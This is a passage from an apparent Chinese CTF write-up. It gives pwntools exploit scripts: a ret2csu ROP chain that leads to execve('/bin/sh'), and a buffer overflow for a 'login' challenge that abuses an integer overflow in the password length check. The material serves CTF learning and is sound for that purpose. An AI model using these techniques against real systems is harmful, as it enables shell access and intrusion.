rop += p64(rop_addr1)
rop += p64(0) #rbx
rop += p64(1) #rbp
rop += p64(elf.got['read']) #r12
rop += p64(0x20) #r13 #rdx
rop += p64(bss_addr) #r14 #rsi
rop += p64(0) #r15 #rdi
rop += p64(rop_addr2) #ret #read(0, bss_addr, 0x20)

#设置eax为59
rop += p64(0)
rop += p64(0) #rbx
rop += p64(1) #rbp
rop += p64(elf.got['read']) #r12
rop += p64(0x40) #r13 #rdx
rop += p64(bss_addr+ 0x10) #r14 #rsi
rop += p64(0x0) #r15 #rdi
rop += p64(rop_addr2) #ret #read(0, bss_addr+0x10, 0x40)

#execve('/bin/sh', NULL, NULL)
rop += p64(0)
rop += p64(0)
rop += p64(1)
rop += p64(bss_addr + 8) #syscall
rop += p64(0) #NULL
rop += p64(0) #NULL
rop += p64(bss_addr) #'/bin/sh'
rop += p64(rop_addr2) #execve('/bin/sh', NULL, NULL)

sleep(2)
p.sendline(rop)

#第一次read
sleep(1)
p.send(("/bin/sh\x00"+p64(syscall_addr)).ljust(0x20,'\x00'))

#第二次read
sleep(1)
p.send("A"*59)

sleep(1)
p.interactive()
  • login
  • 存在整数溢出,passwd可以输入409长度,当输入大于260长度时也可符合判定,跳到特定函数即可拿flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = process("./login")

p.sendlineafter("choice:","1")
p.sendlineafter("username:\n","")

offset = 24

payload = "A"*offset
payload += p32(0x804868b)
payload = payload.ljust(261,"A")

p.sendlineafter("passwd:\n",payload)
print p.recvall()
支持一下
扫一扫,支持作者

Powered by HyperComments